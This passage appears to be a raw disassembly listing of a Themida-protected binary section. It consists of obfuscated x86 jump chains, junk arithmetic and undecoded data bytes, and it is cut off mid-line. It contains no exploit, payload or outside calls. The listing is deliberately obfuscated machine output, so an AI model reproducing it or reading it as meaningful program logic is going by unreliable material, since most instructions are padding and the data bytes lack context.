--------------------------------------------------------------------------- loc_5491FF: ; CODE XREF: Themida_:0054506Cj pop edx xor edx, 62826838h pop esi add edx, 52B50D7Bh mov ebp, edx pop edx add ebp, 67A14B81h jmp loc_54A95D ; --------------------------------------------------------------------------- db 59h dd 1A9C6866h, 240C8966h, 0E9DBB252h, 0FFFFFB09h, 4F36E9ACh db 2 dup(0) ; --------------------------------------------------------------------------- loc_549232: ; CODE XREF: Themida_:00548D61j pop ebp add esp, 4 add esp, 4 jmp loc_54F9D6 ; --------------------------------------------------------------------------- dd 54241489h, 8324148Bh, 0C28104C4h, 4, 493368h, 242C8900h dd 4A2C68h, 24148900h, 0AA615BBAh, 2C12E961h, 0BB530000h dd 61C15AC4h, 5C36F381h, 0DE290C96h, 4C47685Bh, 4AE90000h db 32h, 2 dup(0) ; --------------------------------------------------------------------------- loc_549287: ; CODE XREF: Themida_:0054A8D1j mov ecx, [eax] pop eax pop edx push 19D8h jmp loc_543C9F ; --------------------------------------------------------------------------- db 58h, 52h, 53h dd 9952FEBBh, 0E9DA896Bh, 5514h, 3B39C781h, 39E9F305h dd 0FE00004Fh, 270BE9C6h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5492B6: ; CODE XREF: Themida_:00545F19j push ebp mov ebp, esp jmp loc_54D5C0 ; --------------------------------------------------------------------------- dw 0C89h aHr db '$h"',0 align 2 dw 1C89h aS3 db '$é:3',0 align 2 dw 5450h dd 0FFF3CDE9h, 0C2BBAFFh, 97E9709Bh, 5A000016h, 4C281h dd 0BD550000h, 4, 2CE9EA01h, 8000000Ah, 0CC30C9C1h, 51240C8Bh dd 0C181E189h, 4, 3304C183h, 0C31240Ch, 240C3324h, 824248Bh dd 0FEE958E6h, 5D00003Ch, 3822BA52h, 0D001F3E8h, 8124148Bh dd 4C4h, 0F600E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_549332: ; CODE XREF: Themida_:00549AD8j add ebp, edx jmp loc_54421B ; --------------------------------------------------------------------------- db 0E9h, 0E6h, 0A5h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54933E: ; CODE XREF: Themida_:0054B254j mov esi, 495F4CA6h sub ebx, esi pop esi push 3B8Ch jmp loc_544F65 ; --------------------------------------------------------------------------- dd 0E9240C33h, 1FB2h, 0E9243487h, 12Ch, 162CA52Ch, 1604D028h dd 15E9A504h db 0F8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54936F: ; CODE XREF: Themida_:0054F075j sub ecx, 32F50724h sub ecx, 5A917526h push ebx jmp loc_544D19 ; --------------------------------------------------------------------------- db 5Eh, 0E9h, 7Ah dd 8FFFFFCCh, 248B2404h, 0A592E924h, 2EB5FFFFh, 80F0CD80h dd 0E5808FF5h, 90C580F3h, 6659E800h, 0E924148Bh, 5B0Bh dd 50DCB850h, 0A705240Eh, 890D60BDh, 8CE958C3h, 89FFFFBEh dd 4812424h, 424h, 24348B00h, 0FFAD90E9h, 4D7B68FFh, 2C890000h dd 74A0BD24h, 814D366Ah, 0E2046DEDh, 0BCE7E93Eh, 0E95AFFFFh dd 1ED6h, 4C481h, 9680000h, 89000053h, 0DBB9240Ch, 50256A53h dd 6C6FD2B8h, 0E0C14042h, 0F7D8F702h, 4D8205D8h, 42E969C8h dd 52FFFFC4h, 0E951E289h, 2CA7h, 53A0F580h, 0ECE968B7h dd 1FFFFE1h, 8104247Ch, 0AF04246Ch, 5F64FA46h, 2ADEE9h db 0 ; --------------------------------------------------------------------------- loc_549441: ; CODE XREF: Themida_:0054D7E9j pop edx add [esp+8], esi pop esi sub [esp+4], ebp sub dword ptr [esp+4], 93E70ECh mov ebp, [esp] add esp, 4 pop eax jmp loc_54B906 ; --------------------------------------------------------------------------- loc_54945F: ; CODE XREF: Themida_:0054B975j pop esp push edx push esp mov edx, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp jmp loc_5445A6 ; --------------------------------------------------------------------------- db 66h, 8Bh, 4 dd 4EC8124h, 0E9000000h, 21Ah, 2404895Ch, 2DE6E9h, 0F1895D00h dd 8324348Bh, 136804C4h, 0E9000029h, 0FFFFEDC9h ; --------------------------------------------------------------------------- loc_5494A8: ; CODE XREF: Themida_:0054718Cj xor [esp], edx xor edx, [esp] pop esp mov [esp], ebp mov ebp, 1 and eax, ebp push dword ptr [esp] jmp loc_548D5E ; --------------------------------------------------------------------------- loc_5494C1: ; CODE XREF: Themida_:0054A6EDj mov ebx, 6D0E754Fh jmp loc_54E033 ; --------------------------------------------------------------------------- loc_5494CB: ; CODE XREF: Themida_:0054777Ej push dword ptr [esp] pop ecx add esp, 4 sub esp, 4 jmp loc_545A8E ; --------------------------------------------------------------------------- loc_5494DA: ; CODE XREF: Themida_:0054CABEj shr ch, 7 sub ch, 7Ah push ebx mov bl, ch mov dh, bl pop ebx pop ecx mov cl, dh mov edx, [esp] add esp, 4 push small 33AAh mov [esp], dx mov dl, 2Fh jmp loc_54AB20 ; --------------------------------------------------------------------------- loc_5494FE: ; CODE XREF: Themida_:005470EFj mov ecx, 78024D13h push esi mov esi, 20D6841h shr esi, 4 jmp loc_547284 ; --------------------------------------------------------------------------- db 2Dh, 0ABh, 51h dd 0BB5357EEh, 32CE0F40h, 0D2E9D829h, 8BFFFFD8h, 0C4812414h dd 4, 0E9241C8Bh, 53B7h ; --------------------------------------------------------------------------- loc_549534: ; CODE XREF: Themida_:00543A15j add esi, edi pop edi add esi, 4 xchg esi, [esp] pop esp xor [esp], edx xor edx, [esp] xor [esp], edx pop eax sub esp, 4 jmp loc_54877B ; --------------------------------------------------------------------------- loc_549556: ; CODE XREF: Themida_:00547064j mov [esp], eax push ebp mov ebp, 42A52BFEh mov eax, ebp pop ebp sub eax, 54CD548Dh jmp loc_5446EE ; --------------------------------------------------------------------------- dd 4240481h, 0E9000000h, 0FFFFF8F1h, 8124048Bh, 4C4h, 0D1E1D100h dd 0FFC181E9h, 0C1FFFFFFh, 0C98103E9h, 6A8044Bh, 0EBD8C181h dd 0CBE966A1h, 0BAFFFFEAh, 2BB950F7h, 0FFD465E9h, 4F51BAFFh dd 0F2810B03h, 0FB15A79h, 0E95AD689h, 0FFFFF420h, 5C240C33h dd 0F66E9F6h, 0C5E9CCB6h, 0BD000064h, 52B038DAh, 148BD531h dd 5E52E924h, 0E5810000h, 5932570Bh, 0BDF9C581h, 0E889BEDFh dd 0E9C6015Dh, 0FFFFB767h, 26FCE781h, 0F74770B8h, 3FD9E9D7h dd 21E90000h, 31FFFFA3h, 1C33241Ch, 4895C24h, 68E08924h dd 3E39h, 55243C89h, 0B65252BDh, 93E95557h, 66FFFFF5h dd 9C240401h, 0FFE5F1E9h db 0FFh ; --------------------------------------------------------------------------- loc_54962D: ; CODE XREF: Themida_:00546461j pop eax add esp, 4 jmp loc_544CAF ; --------------------------------------------------------------------------- db 55h, 0BDh, 4 dd 29000000h, 14875DEAh, 0F8D0E924h, 0C481FFFFh, 4, 0FFA2CFE9h db 0FFh ; --------------------------------------------------------------------------- loc_549655: ; CODE XREF: Themida_:0054B727j add ebx, esi pop esi and eax, ebx push dword ptr [esp] jmp loc_54F9C5 ; --------------------------------------------------------------------------- dw 8B66h dd 89532404h, 4C381E3h, 81000000h, 4EBh, 241C3300h, 0FFFF86E9h dd 5BD801FFh, 2BD55h, 44E90000h db 0EDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54968B: ; CODE XREF: Themida_:0054ECFFj inc ebx shl ebx, 4 jmp loc_549127 ; --------------------------------------------------------------------------- dd 0A807E95Fh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54969A: ; CODE XREF: Themida_:0054F97Cj mov esi, 7FA80CB1h or ebx, esi jmp loc_54D971 ; --------------------------------------------------------------------------- dw 1C89h dd 50E38924h, 0DB05ECB8h, 1DE9575Eh, 0BE000031h, 263A1FDDh dd 0CE81DEF7h, 432A7FC6h, 1488C681h, 68E95B47h, 6800002Ch dd 2FC9h, 68240C89h, 1B86h, 51241C89h, 5955E9h db 0 ; --------------------------------------------------------------------------- loc_5496E5: ; CODE XREF: Themida_:00548F86j mov ebx, 4 add ecx, 19995BE8h add ecx, ebx sub ecx, 19995BE8h mov ebx, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] jmp loc_549F95 ; --------------------------------------------------------------------------- db 83h dd 0E95204C2h, 0FFFFEF9Bh, 0DEF7F287h, 0EA81F287h, 88939B3Ah dd 0FFD218E9h, 0E95357FFh, 64A3h ; --------------------------------------------------------------------------- loc_549730: ; CODE XREF: Themida_:0054D30Bj add bh, 70h jmp loc_548C4D ; --------------------------------------------------------------------------- dd 81E28952h, 4C2h, 4EA8300h, 8B241487h, 0E9542424h, 58A8h dd 24048966h, 0FFA1CBE9h, 59A02CFFh, 0B0505266h, 1559E91Ch dd 0FF550000h, 8B042474h, 0C481242Ch, 4, 0E924048Fh, 6355h dd 0EA81D2F7h, 59E76D43h, 4522E281h, 0B2E91CB7h, 5FFFFCDh dd 57EE51ABh, 76E9C829h, 5AFFFFFDh, 4500BA52h, 0E9420D19h dd 0FFFFCF7Ah, 33241C31h, 5AE9241Ch, 52FFFFC1h, 4EC81h dd 0C890000h, 0A3A5E924h, 1CF6FFFFh, 59E99C24h, 0C1FFFFA1h dd 0E98102E9h, 11C344B3h, 2726E9h, 0E9C30100h, 14D2h ; --------------------------------------------------------------------------- loc_5497E0: ; CODE XREF: Themida_:00547160j mov edx, esp push esi mov esi, 598B70F5h neg esi dec esi add esi, 598B70FAh jmp loc_545E40 ; --------------------------------------------------------------------------- dw 8768h dd 0E9000069h, 0FFFFFBBFh, 77B30EB1h, 2832C380h, 50CFE9CBh dd 0C1810000h, 99BAC78h, 0E959CB89h, 1040h, 2414875Ah dd 0FFA0FFE9h db 0FFh ; --------------------------------------------------------------------------- loc_549825: ; CODE XREF: Themida_:0054F642j add ebx, edi pop edi add ebx, 4 jmp loc_54BD5F ; --------------------------------------------------------------------------- loc_549833: ; CODE XREF: Themida_:0054C6AEj sub dword ptr [esp], 34724D7Fh pop ebp jmp loc_54E382 ; --------------------------------------------------------------------------- dd 81E38953h, 4C3h, 0C350E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54984E: ; CODE XREF: Themida_:0054FC93j mov ebx, [esp] add esp, 4 shl edx, 7 push edi mov edi, 238A0FE7h xor edx, edi pop edi push esi mov esi, 3EAE7DAEh or esi, 4AEA098Ch inc esi shr esi, 4 sub esi, 7EEE7D9h add edx, esi pop esi neg edx push esi jmp loc_54D8BB ; --------------------------------------------------------------------------- dd 405E089h, 83000000h, 48704E8h, 6E95C24h, 5CFFFFB9h dd 229568h, 241C8900h, 4EC81h, 24890000h, 0E8A0E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5498AE: ; CODE XREF: Themida_:00549F90j pop esi push ebx mov ebx, 8B58C1C9h add esi, ebx pop ebx push esi mov ebx, [esp] add esp, 4 push dword ptr [esp] pop esi add esp, 4 and eax, ebx jmp loc_5489A1 ; --------------------------------------------------------------------------- dd 1487585Dh, 0A842E924h, 8951FFFFh, 0CDBD55E1h, 8166455Dh dd 3F2340F5h, 71C5813Eh, 0F761884Bh, 38F268D5h, 35E90000h db 0DEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5498FB: ; CODE XREF: Themida_:00547F9Cj pop ebx xor ebx, 7030FEh pop edx sub ebx, 79DE2C99h sub ebx, 137F40F0h add ebx, ecx add ebx, 137F40F0h add ebx, 79DE2C99h push edx jmp loc_54E52F ; --------------------------------------------------------------------------- db 0FFh dd 34FF2434h, 0C4815924h, 4, 348B5456h, 4C48124h, 55000000h dd 0FFE819E9h db 0FFh ; --------------------------------------------------------------------------- loc_549941: ; CODE XREF: Themida_:0054E729j neg esi neg esi sub esi, 3F3FE8DDh jmp loc_549D72 ; --------------------------------------------------------------------------- dd 4EC81h, 34890000h, 2474FF24h, 24348B04h, 0FFC8C2E9h dd 240C89FFh, 413343B9h, 59C8897Ch, 23F6BA2Dh, 8BC30163h dd 0C4812404h, 4, 81E38953h, 4C3h, 4EB8100h, 0E9000000h dd 2B65h ; --------------------------------------------------------------------------- loc_549994: ; CODE XREF: Themida_:00545DF7j pop esp mov [esp], ebx push ecx mov ecx, 3F712D72h add dword ptr [esp+4], 3DB5214Fh sub [esp+4], ecx sub dword ptr [esp+4], 3DB5214Fh pop ecx mov eax, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp push ebx jmp loc_54B43F ; --------------------------------------------------------------------------- dd 0D5B0E951h, 0E688FFFFh, 0FED6F658h, 5EEC0C6h, 0FFF8CEE9h dd 405FFh, 4870000h, 48F5C24h, 0E66DE924h, 0E300FFFFh dd 0C0B60F58h, 0E987048Fh, 0FFFF9F24h, 5602EE83h, 42474FFh dd 24048F5Eh, 0E924248Bh, 0FFFFE55Dh, 9AB1B850h, 60E91B6Ah db 0C9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_549A1F: ; CODE XREF: Themida_:0054E5BBj pop ebp add edx, edi pop edi sub edx, 4 jmp loc_545EF7 ; --------------------------------------------------------------------------- aUnIs db '½Ñ%žn!ëé ^',0 align 2 dw 0CB01h dd 7F66C381h, 0E9591451h, 0FFFFD6D9h, 8103EEC1h, 5DEF6F6h dd 5EF72977h, 81284405h, 0E9F82916h, 3D19h ; --------------------------------------------------------------------------- loc_549A60: ; CODE XREF: Themida_:0054F36Cj mov edx, 5B2D5F9Ah not edx add edx, 4D986C10h jmp loc_54E756 ; --------------------------------------------------------------------------- loc_549A72: ; CODE XREF: Themida_:00545CB5j add esp, 4 pop eax jmp loc_545814 ; --------------------------------------------------------------------------- dw 0C483h dd 3D68E904h, 0D0680000h, 89000008h, 58542404h, 405h, 40500h dd 4870000h, 4F095C24h, 240C8B1Ch, 815B5453h, 4C3h, 3A77E900h dd 0E9510000h, 29DFh, 5052ACC3h, 0FE93EB4h, 89FFFFFFh dd 58DFE9E3h db 2 dup(0) ; --------------------------------------------------------------------------- loc_549ACA: ; CODE XREF: Themida_:0054EF95j mov [esp], edx mov edx, 7E7F21BCh sub edx, 2574F65Eh jmp loc_549332 ; --------------------------------------------------------------------------- db 0Fh, 0B6h, 0C0h dd 0FF9FAFE9h db 0FFh ; --------------------------------------------------------------------------- loc_549AE5: ; CODE XREF: Themida_:00546134j mov edx, edi mov edi, [esp] jmp loc_54A4E0 ; --------------------------------------------------------------------------- loc_549AEF: ; CODE XREF: Themida_:00544B73j pop eax xchg esi, [esp] jmp loc_54C618 ; --------------------------------------------------------------------------- dd 5519EA81h, 0FA0122A0h, 5519C281h, 3C8B22A0h, 0E7895724h dd 31DAE9h, 0C8B6600h, 0E6895624h, 4B850h, 0E9530000h dd 0FFFFF888h, 7E9C15Dh, 5705E9C1h, 261739BFh, 99C78136h dd 0D11F9F3Dh, 0BEFCE9EFh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_549B3E: ; CODE XREF: Themida_:0054DAB1j add eax, 4 push 22CEh mov [esp], ebx mov ebx, 7F95504Bh shr ebx, 8 neg ebx shl ebx, 2 inc ebx sub ebx, 0FE01AABDh jmp loc_54A9BF ; --------------------------------------------------------------------------- loc_549B64: ; CODE XREF: Themida_:0054D493j shr eax, 6 push edi mov edi, 145A3750h sub eax, edi pop edi add eax, 45D958E5h and ebp, eax pop eax sub ebp, 0FFEB4404h and eax, ebp mov ebp, [esp] add esp, 4 or eax, eax jz loc_54D3AC push edx jmp loc_54DE98 ; --------------------------------------------------------------------------- dd 8B240C87h, 0C892424h, 81E18924h, 4C1h, 4EC8100h, 0E9000000h dd 0FFFFD4B9h, 6DE932FFh, 68FFFF9Dh, 6E5h, 0E9242C89h dd 0FFFFFE6Ah ; --------------------------------------------------------------------------- loc_549BC4: ; CODE XREF: Themida_:00544A00j xor esi, ecx pop ecx push 798Eh mov [esp], esi pop ebp jmp loc_547EB4 ; --------------------------------------------------------------------------- loc_549BD5: ; CODE XREF: Themida_:00547A44j shr ebp, 2 xor ebp, 359D63A1h or ebp, 65110FB8h add ebp, 1 jmp loc_544A19 ; --------------------------------------------------------------------------- loc_549BEC: ; CODE XREF: Themida_:00544D01j sub bl, 2Eh mov dx, [esp] add esp, 2 push cx mov cl, 96h add bl, cl pop cx add bl, 92h sub bl, al push ecx mov ch, 0CFh jmp loc_546BEF ; --------------------------------------------------------------------------- dw 5B54h dd 3221BD55h, 0CD816C26h, 261259E6h, 3FD6E9h db 0 ; --------------------------------------------------------------------------- loc_549C21: ; CODE XREF: Themida_:0054CBB9j mov edx, ebp pop ebp pop ecx jmp loc_54A8BC ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_54A065 ; --------------------------------------------------------------------------- dw 0EF01h dd 6313C781h, 34FF0C27h, 0F267E924h, 489FFFFh, 4EC8324h dd 68242489h, 6EC1h, 0BF243C89h, 4, 4244481h, 67E5569Fh dd 4247C01h, 4246C81h, 67E5569Fh, 24048B5Fh, 504C483h dd 4, 2BE56h, 0F0010000h, 0B326E95Eh, 815EFFFFh, 9FA7C4EEh dd 1DECE908h, 2DBB0000h, 0E920B661h, 760h, 9C82E959h, 0D6F7FFFFh dd 4991E9h, 0DE95B00h, 0B3FFFFE1h, 78F38062h, 5A0BE9h dd 4C48300h, 2133E956h, 0EE810000h, 52395219h, 0EBEE815Dh dd 0E922034Ch, 3107h, 24048B66h, 57E68956h, 4E7B50BFh dd 83DFF729h, 3C8904ECh, 2414F724h, 17C2E9h db 0 ; --------------------------------------------------------------------------- loc_549CF1: ; CODE XREF: Themida_:0054EBE4j push edx mov edx, esp add edx, 4 jmp loc_54C3A5 ; --------------------------------------------------------------------------- loc_549CFF: ; CODE XREF: Themida_:0054C673j pop dword ptr [esp] mov esp, [esp] push edx mov edx, 0E7D34F2h jmp loc_54BCB7 ; --------------------------------------------------------------------------- dd 0D1FEC581h, 0EA890DBFh, 0CAE9505Dh, 5D000050h, 0E9241487h dd 0FFFFC68Bh, 4055Dh, 4870000h, 24248B24h, 241C8B66h dd 6602C483h, 0B5B15152h, 0FFA875E9h, 2BDFFh, 0EF010000h dd 0ED30E95Dh, 48BFFFFh, 0E3895324h, 4C381h, 0C3830000h dd 241C8704h, 79BE565Ch, 0F7774B47h, 0EE52E9DEh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_549D72: ; CODE XREF: Themida_:0054994Bj push ebp mov ebp, 2A687426h sub eax, ebp pop ebp jmp loc_548665 ; --------------------------------------------------------------------------- dd 0C781E789h, 4, 8704EF83h, 5E9243Ch, 87FFFFADh, 8F5C243Ch dd 248B2404h, 24D36624h, 7DE99C24h, 24FFFF9Bh, 2C0124CAh dd 66C288FEh, 0FFD00058h, 34FF2434h, 28BAE924h, 505E0000h dd 4B8h, 8BC20100h, 0C4832404h, 24143304h, 33241431h, 0FF5C2414h dd 51582434h, 0EC81E189h, 4, 0E9241489h, 5685h, 739AEA81h dd 0F2811A2Ch, 57CE85F4h, 0F75AD101h, 49C181D9h, 81771E55h dd 0A4558BE1h, 0FDE9814Ch, 1482013h, 240C8BCAh, 4C481h dd 0BB530000h, 4, 335BDA01h, 14312414h, 2511E924h db 2 dup(0) ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 push ecx jmp loc_54EFCF ; --------------------------------------------------------------------------- db 58h, 8Bh, 0Ch dd 4C48324h, 0B1515051h, 3B7AE9A1h db 2 dup(0) ; --------------------------------------------------------------------------- loc_549E4E: ; CODE XREF: Themida_:0054E2A7j pop edx mov ecx, [esp] add esp, 4 push eax mov eax, 3A37056h add ecx, eax pop eax pop edx jmp loc_54AF02 ; --------------------------------------------------------------------------- loc_549E67: ; CODE XREF: Themida_:00547AB2j push edx pop ecx jmp loc_544B78 ; --------------------------------------------------------------------------- loc_549E6E: ; CODE XREF: Themida_:0054E8B3j push esi mov esi, 56FC7FCBh add esi, 0D9D3BC4Bh sub eax, esi mov esi, [esp] jmp loc_547913 ; --------------------------------------------------------------------------- loc_549E84: ; CODE XREF: Themida_:0054E1E3j sub edi, 463D44DDh xchg esi, edi not esi xchg esi, edi push ebp push 2035h mov [esp], ebx jmp loc_54A918 ; --------------------------------------------------------------------------- dw 0C581h dd 25575A2Ah, 0F706EDC1h, 0B9C9E9D5h, 1489FFFFh, 243C3124h dd 31243C33h, 0D7F7243Ch, 0E9243C31h, 0FFFFE4BEh, 5EE9DDF7h dd 81FFFFF8h, 0B53DDEE7h, 4F22E932h, 0EE800000h, 0EA2C73h dd 5AEA04F0h, 2AA66866h, 24148966h, 0E048DB6h, 0E2CF000h dd 24148B66h, 4DACE9h, 4C58100h, 83000000h, 93E904C5h db 0F2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_549F07: ; CODE XREF: Themida_:0054580Fj push dword ptr [esp] pop eax push 7436h mov [esp], eax mov eax, esp add eax, 4 jmp loc_54DC81 ; --------------------------------------------------------------------------- db 51h dd 0DFE95954h, 0C3FFFFBEh, 0FF99F7E9h, 0EEC058FFh, 80C6FE04h dd 0F3E9A9EEh, 81FFFFA1h, 0CE4C49C3h, 0E518E90Bh, 8B66FFFFh dd 0EC81240Ch, 4, 0FFD325E9h, 0D4E953FFh db 0C3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_549F5B: ; CODE XREF: Themida_:0054ED78j mov ch, bl pop ebx push edx jmp loc_54B460 ; --------------------------------------------------------------------------- dd 59CC3059h, 8058E588h, 0ED80E6EDh, 80EDD0ABh, 0EDD07CEDh dd 8DF580h, 0E42C59EEh, 0E404F028h, 0FF9C4EE9h db 0FFh ; --------------------------------------------------------------------------- loc_549F89: ; CODE XREF: Themida_:0054A2DCj pop esp mov [esp], esi inc dword ptr [esp] jmp loc_5498AE ; --------------------------------------------------------------------------- loc_549F95: ; CODE XREF: Themida_:0054970Aj pop esp add ecx, 4 xor ecx, [esp] jmp loc_54AACC ; --------------------------------------------------------------------------- loc_549FA1: ; CODE XREF: Themida_:0054FA1Dj dec ch jmp loc_54EEEB ; --------------------------------------------------------------------------- loc_549FA8: ; CODE XREF: Themida_:005468AEj add ebp, 4 jmp loc_54D6C5 ; --------------------------------------------------------------------------- db 68h dd 45D62213h, 8B2434FFh, 50E92434h, 5CFFFFA1h, 0E9240489h dd 1ABh ; --------------------------------------------------------------------------- loc_549FCC: ; CODE XREF: Themida_:0054DE79j add ebp, edx pop edx xchg ebp, [esp] pop esp jmp loc_54A081 ; --------------------------------------------------------------------------- dd 0FF9947E9h db 0FFh ; --------------------------------------------------------------------------- loc_549FDD: ; CODE XREF: Themida_:00545B7Ej mov [esp], ecx mov ecx, 395A1952h or ecx, 5216039Bh shl ecx, 4 shl ecx, 4 push eax mov eax, 0FF998033h sub ecx, eax pop eax mov eax, ecx jmp loc_54F894 ; --------------------------------------------------------------------------- db 83h, 0C3h, 0FFh dd offset byte_57B1E9 db 0 ; --------------------------------------------------------------------------- loc_54A009: ; CODE XREF: Themida_:005452AFj add esi, 4 jmp loc_54DDE1 ; --------------------------------------------------------------------------- loc_54A011: ; CODE XREF: Themida_:0054F100j push eax jmp loc_5471C3 ; --------------------------------------------------------------------------- db 50h dd 0FFC47DE9h, 2B9FFh, 0CE010000h, 74FF5659h, 0E95E0424h dd 17C7h ; --------------------------------------------------------------------------- loc_54A030: ; CODE XREF: Themida_:0054394Dj jmp loc_546DEA ; --------------------------------------------------------------------------- db 0F7h, 0D6h, 87h dd 7A7168F2h, 0B0E90000h, 8000005Ch, 0EE8070E9h, 80CE28FAh dd 0C8BFAC6h, 4C48324h, 148BF500h, 4C48324h, 0E800A004h dd 0FFF6F4E9h db 0FFh ; --------------------------------------------------------------------------- loc_54A065: ; CODE XREF: Themida_:00549C2Dj add ebp, 4 sub esp, 4 mov [esp], edx jmp loc_54DE60 ; --------------------------------------------------------------------------- loc_54A076: ; CODE XREF: Themida_:0054E287j push edi mov edi, 4A4E35D5h jmp loc_545916 ; --------------------------------------------------------------------------- loc_54A081: ; CODE XREF: Themida_:00549FD3j jmp loc_543924 ; --------------------------------------------------------------------------- loc_54A086: ; CODE XREF: Themida_:005480FAj add ebp, 4 push ebx push 6441h mov [esp], edi mov edi, 41645E72h push 41645E76h pop ebx jmp loc_54757C ; --------------------------------------------------------------------------- db 0Dh, 0DEh, 54h dd 75E96BE1h db 1Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54A0AF: ; CODE XREF: Themida_:0054E7B3j shr ecx, 7 push dword ptr [edi+1Ch] add dword ptr [esp], 633C54C5h mov eax, [esp] push ecx mov ecx, esp jmp loc_546DA1 ; --------------------------------------------------------------------------- db 5Ah dd 81E28952h, 4C2h, 4EA8100h, 87000000h, 3E92414h db 25h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54A0DF: ; CODE XREF: Themida_:005456ACj add eax, 0FFFFFFFFh shr eax, 1 push ecx jmp loc_54AD74 ; --------------------------------------------------------------------------- aXjspo db 'ºº)ËxJépO',0 db 0 ; --------------------------------------------------------------------------- loc_54A0F7: ; CODE XREF: Themida_:005478E6j neg eax xor eax, 0D3C357Bh jmp loc_54E375 ; --------------------------------------------------------------------------- loc_54A103: ; CODE XREF: Themida_:0054EFE0j neg dh xor dh, 26h push ebx mov bh, dh mov ah, bh pop ebx pop edx jmp loc_54C78A ; --------------------------------------------------------------------------- dd 4BFh, 8BFB0100h, 0C481243Ch, 4, 26855h, 15D0000h, 0E9535DEBh dd 2C26h ; --------------------------------------------------------------------------- loc_54A134: ; CODE XREF: Themida_:005484F2j add esp, 4 push dword ptr [esp] pop ecx add esp, 4 push esi mov esi, 6D7360F2h push ebp mov ebp, 51E4456Ah sub ebp, 301E603Dh and ebp, 4DD02700h xor ebp, 2FE82CF6h push edx mov edx, 0B6E5307h xor ebp, edx pop edx jmp loc_54D908 ; --------------------------------------------------------------------------- loc_54A16D: ; CODE XREF: Themida_:0054CEF1j and eax, ecx mov ecx, [esp] jmp loc_54C84F ; --------------------------------------------------------------------------- db 0B8h dd 4, 5158C501h, 133FE9h, 2474FF00h, 24348B04h, 4C481h dd 48F0000h, 24248B24h, 9C2424D2h, 0FF9783E9h, 240481FFh dd 6B7F6BE0h, 81240429h, 6BE0242Ch, 0E9586B7Fh, 200Ch ; --------------------------------------------------------------------------- loc_54A1B8: ; CODE XREF: Themida_:00547204j xor eax, ecx push eax push edx jmp loc_54D42D ; --------------------------------------------------------------------------- db 31h, 0F3h, 5Eh dd 0E95BD931h, 0FFFFCA1Ch, 4EC81h, 1C890000h, 4EC8324h dd 0FFE203E9h, 0E7BE56FFh, 81175611h, 6231FBCEh, 0C681467Ch dd 94FF0DF4h, 0E95EF521h, 0FFFFC47Fh ; --------------------------------------------------------------------------- loc_54A1F8: ; CODE XREF: Themida_:00546AFCj shl ebx, 5 jmp loc_54D697 ; --------------------------------------------------------------------------- dd 68240C8Bh, 709Fh, 83242C89h, 8F5404ECh, 30682404h, 0E9000075h dd 35FDh, 0E9DF895Fh, 0FFFFED3Fh ; --------------------------------------------------------------------------- loc_54A224: ; CODE XREF: Themida_:0054B381j mov [esp], ecx jmp loc_5448DD ; --------------------------------------------------------------------------- dd 0F7A013BFh, 5FFD29E7h, 0E95DEF29h, 2D20h ; --------------------------------------------------------------------------- loc_54A23C: ; CODE XREF: Themida_:0054ACF7j mov ebx, [esp] add esp, 4 xchg edx, [esp] pop esp sub esp, 4 mov [esp], esi push ebx mov ebx, 2AC4213Eh push ecx jmp loc_54BAA3 ; --------------------------------------------------------------------------- db 0B8h dd 78976106h, 6E07E525h, 72A7352Ch, 0D0F71EFCh, 0FFAD07E9h db 0FFh ; --------------------------------------------------------------------------- loc_54A271: ; CODE XREF: Themida_:0054C603j push dword ptr [esp] mov eax, [esp] add esp, 4 sub esp, 4 mov [esp], esi push esp pop esi add esi, 4 push eax mov eax, 4 add esi, 4CB90DE5h add esi, eax jmp loc_544B6D ; --------------------------------------------------------------------------- db 8Bh, 34h, 24h dd 81E28952h, 4C2h, 4C28300h, 5C241487h, 315E9h db 0 ; --------------------------------------------------------------------------- loc_54A2B9: ; CODE XREF: Themida_:0054E8C1j mov [esp], ebx push 680Eh mov [esp], esi push 74AB3E36h pop esi push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] jmp loc_549F89 ; --------------------------------------------------------------------------- db 66h, 0F7h, 0F1h dd 78E46866h, 24148966h, 0E99C5066h, 0FFFF9630h, 0E189515Ch dd 4C181h, 0C1810000h, 4, 5C240C87h, 1BB15166h, 0CDC380h dd 0CDEB80CBh, 46685966h, 89000023h, 95B1240Ch, 0FE04E1C0h dd 56E953C1h, 8100000Eh, 0F40520C1h, 1C18336h, 8108E9C1h dd 30057CE9h, 9DC38187h, 0E90E4D67h, 0FFFFA555h, 5C241C87h dd 39DAE9h, 240C8900h, 1079E956h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54A35A: ; CODE XREF: Themida_:00545D25j push ebp mov ebp, 5B357E47h add ebp, 0C71BA76Bh add edx, ebp pop ebp sub edx, 629B4918h push dword ptr [edx] push edx push ecx push 6C256965h pop ecx and ecx, 134D7295h xor ecx, 3A61053h mov edx, ecx jmp loc_54EE51 ; --------------------------------------------------------------------------- loc_54A38C: ; CODE XREF: Themida_:00544A46j mov ebx, 0FC95B82h inc ebx sub ebx, 403E5150h jmp loc_543C30 ; --------------------------------------------------------------------------- db 5Ch, 0FFh, 34h aYhkn db '$YhŠn',0 dw 8900h dd 80E92414h db 0ACh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54A3AF: ; CODE XREF: Themida_:0054DFA9j push bx mov bl, 69h sub al, bl jmp loc_54397F ; --------------------------------------------------------------------------- dw 0C181h dd 4, 8702C183h, 0EDE9240Ch db 55h, 2 